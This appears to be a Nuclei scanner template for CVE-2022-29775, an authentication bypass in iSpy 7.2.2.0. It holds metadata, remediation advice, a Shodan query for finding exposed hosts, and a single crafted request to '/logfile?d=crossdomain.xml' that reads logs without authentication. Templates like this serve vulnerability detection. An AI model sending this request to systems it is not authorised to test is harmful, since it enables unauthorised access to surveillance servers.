id: CVE-2022-29775 info: name: iSpy 7.2.2.0 - Authentication Bypass author: arafatansari severity: critical description: | iSpy 7.2.2.0 contains an authentication bypass vulnerability. An attacker can craft a URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. impact: | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system. remediation: | Upgrade to the latest version of iSpy (7.2.2.1 or higher) which includes a fix for the authentication bypass vulnerability. reference: - https://gist.github.com/securylight/79f673aa3a453c80c0e78f356a8f650b - https://github.com/securylight/CVES_write_ups/blob/main/iSpy_connect.pdf - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-29775 - https://nvd.nist.gov/vuln/detail/CVE-2022-29775 - https://github.com/securylight/CVES_write_ups classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-29775 cwe-id: CWE-287 epss-score: 0.01088 epss-percentile: 0.82745 cpe: cpe:2.3:a:ispyconnect:ispy:7.2.2.0:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: ispyconnect product: ispy shodan-query: http.html:"iSpy is running" tags: cve,cve2022,ispy,auth-bypass,ispyconnect http: - method: GET path: - '{{BaseURL}}/logfile?d=crossdomain.xml' matchers-condition: and matchers: - type: word part: body words: - 'Log Start' - 'Log File' - 'iSpy' condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 490a0046304402202266b24b3ca73622ae1a9a90ed2ca8a2800fd51395203f79212cca3efcca657c022072817838ecc6d8bcfbefc1ed8b599b073956b1ea37fbd0821541a08b1e56798d:922c64590222798bb761d5b6d8e72950